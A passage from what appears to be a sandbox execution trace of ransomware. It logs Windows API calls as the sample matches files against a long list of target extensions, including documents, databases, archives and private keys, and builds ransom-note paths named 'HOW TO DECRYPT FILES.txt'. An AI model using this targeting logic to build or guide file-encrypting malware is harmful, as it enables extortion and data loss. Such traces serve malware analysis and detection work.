HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.eml") returned 0 [0087.053] lstrlenA (lpString="*.eml") returned 5 [0087.053] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.pst") returned 0 [0087.053] lstrlenA (lpString="*.pst") returned 5 [0087.053] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.ost") returned 0 [0087.053] lstrlenA (lpString="*.ost") returned 5 [0087.054] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.idx") returned 0 [0087.054] lstrlenA (lpString="*.idx") returned 5 [0087.054] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.dbx") returned 0 [0087.054] lstrlenA (lpString="*.dbx") returned 5 [0087.054] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.sql") returned 0 [0087.054] lstrlenA (lpString="*.sql") returned 5 [0087.054] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.mdb") returned 0 [0087.054] lstrlenA (lpString="*.mdb") returned 5 [0087.054] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.fdb") returned 0 [0087.054] lstrlenA (lpString="*.fdb") returned 5 [0087.054] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.wab") returned 0 [0087.054] lstrlenA (lpString="*.wab") returned 5 [0087.054] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.dat") returned 0 [0087.054] lstrlenA (lpString="*.dat") returned 5 [0087.054] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.txt") returned 0 [0087.054] lstrlenA (lpString="*.txt") returned 5 [0087.054] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.jpeg") returned 0 [0087.054] lstrlenA (lpString="*.jpeg") returned 6 [0087.054] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.jpg") returned 0 [0087.055] lstrlenA (lpString="*.jpg") returned 5 [0087.055] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.png") returned 0 [0087.055] lstrlenA (lpString="*.png") returned 5 [0087.055] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.php") returned 0 [0087.055] lstrlenA (lpString="*.php") returned 5 [0087.055] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.cs") returned 0 [0087.055] lstrlenA (lpString="*.cs") returned 4 [0087.055] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.cpp") returned 0 [0087.055] lstrlenA (lpString="*.cpp") returned 5 [0087.055] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.rar") returned 0 [0087.055] lstrlenA (lpString="*.rar") returned 5 [0087.055] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.zip") returned 0 [0087.055] lstrlenA (lpString="*.zip") returned 5 [0087.055] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.html") returned 0 [0087.055] lstrlenA (lpString="*.html") returned 6 [0087.055] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.htm") returned 0 [0087.055] lstrlenA (lpString="*.htm") returned 5 [0087.055] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.xlsx") returned 0 [0087.055] lstrlenA (lpString="*.xlsx") returned 6 [0087.055] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.xls") returned 0 [0087.055] lstrlenA (lpString="*.xls") returned 5 [0087.056] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.mp4") returned 0 [0087.056] lstrlenA (lpString="*.mp4") returned 5 [0087.056] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.ppt") returned 0 [0087.056] lstrlenA (lpString="*.ppt") returned 5 [0087.056] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.pptx") returned 0 [0087.056] lstrlenA (lpString="*.pptx") returned 6 [0087.056] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.doc") returned 0 [0087.056] lstrlenA (lpString="*.doc") returned 5 [0087.056] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.dot") returned 0 [0087.056] lstrlenA (lpString="*.dot") returned 5 [0087.056] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.docx") returned 0 [0087.056] lstrlenA (lpString="*.docx") returned 6 [0087.056] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.7z") returned 0 [0087.056] lstrlenA (lpString="*.7z") returned 4 [0087.056] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.tar") returned 0 [0087.056] lstrlenA (lpString="*.tar") returned 5 [0087.056] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.bz2") returned 0 [0087.056] lstrlenA (lpString="*.bz2") returned 5 [0087.057] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.gz") returned 0 [0087.057] lstrlenA (lpString="*.gz") returned 4 [0087.057] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.mkv") returned 0 [0087.057] lstrlenA (lpString="*.mkv") returned 5 [0087.057] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.eml") returned 0 [0087.057] lstrlenA (lpString="*.eml") returned 5 [0087.057] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.msg") returned 0 [0087.057] lstrlenA (lpString="*.msg") returned 5 [0087.057] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.edb") returned 0 [0087.057] lstrlenA (lpString="*.edb") returned 5 [0087.057] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.accdb") returned 0 [0087.057] lstrlenA (lpString="*.accdb") returned 7 [0087.057] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.odb") returned 0 [0087.057] lstrlenA (lpString="*.odb") returned 5 [0087.057] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.java") returned 0 [0087.057] lstrlenA (lpString="*.java") returned 6 [0087.057] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.asm") returned 0 [0087.057] lstrlenA (lpString="*.asm") returned 5 [0087.058] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.pfx") returned 0 [0087.058] lstrlenA (lpString="*.pfx") returned 5 [0087.058] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", pszSpec="*.pem") returned 0 [0087.058] lstrlenA (lpString="*.pem") returned 5 [0087.058] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bd8410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bd8410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe98d390, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x166, dwReserved0=0x0, dwReserved1=0x0, cFileName="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", cAlternateFileName="0F1583~1")) returned 1 [0087.058] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.058] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned 1 [0087.058] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned 1 [0087.058] lstrcmpiA (lpString1="", lpString2="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned -1 [0087.058] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B" [0087.058] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.058] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.058] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt" [0087.058] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\how to decrypt files.txt")) returned 0x2020 [0087.059] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", lpString2="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875" [0087.059] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf952550, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf952550, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf952550, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", cAlternateFileName="1BB09B~1")) returned 1 [0087.059] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.059] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned 1 [0087.059] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned 1 [0087.059] lstrcmpiA (lpString1="", lpString2="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned -1 [0087.059] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875" [0087.059] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.059] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.059] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt" [0087.059] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\how to decrypt files.txt")) returned 0x2020 [0087.059] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", lpString2="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973" [0087.060] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x4c00edb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4c00edb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4c00edb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x10c, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="1DAF2884EC4DFA96BA4A58D4DBC9C406", cAlternateFileName="1DAF28~1")) returned 1 [0087.060] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.060] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="1DAF2884EC4DFA96BA4A58D4DBC9C406") returned 1 [0087.060] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="1DAF2884EC4DFA96BA4A58D4DBC9C406") returned 1 [0087.060] lstrcmpiA (lpString1="", lpString2="1DAF2884EC4DFA96BA4A58D4DBC9C406") returned -1 [0087.060] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973" [0087.060] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.060] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.060] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt" [0087.060] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\how to decrypt files.txt")) returned 0x2020 [0087.061] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", lpString2="1DAF2884EC4DFA96BA4A58D4DBC9C406" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1DAF2884EC4DFA96BA4A58D4DBC9C406") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1DAF2884EC4DFA96BA4A58D4DBC9C406" [0087.061] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x580eb5c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x580eb5c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaedd4300, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x124, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="23B523C9E7746F715D33C6527C18EB9D", cAlternateFileName="23B523~1")) returned 1 [0087.061] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.061] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="23B523C9E7746F715D33C6527C18EB9D") returned 1 [0087.061] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="23B523C9E7746F715D33C6527C18EB9D") returned 1 [0087.061] lstrcmpiA (lpString1="", lpString2="23B523C9E7746F715D33C6527C18EB9D") returned -1 [0087.061] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1DAF2884EC4DFA96BA4A58D4DBC9C406") returned="1DAF2884EC4DFA96BA4A58D4DBC9C406" [0087.061] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.061] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS 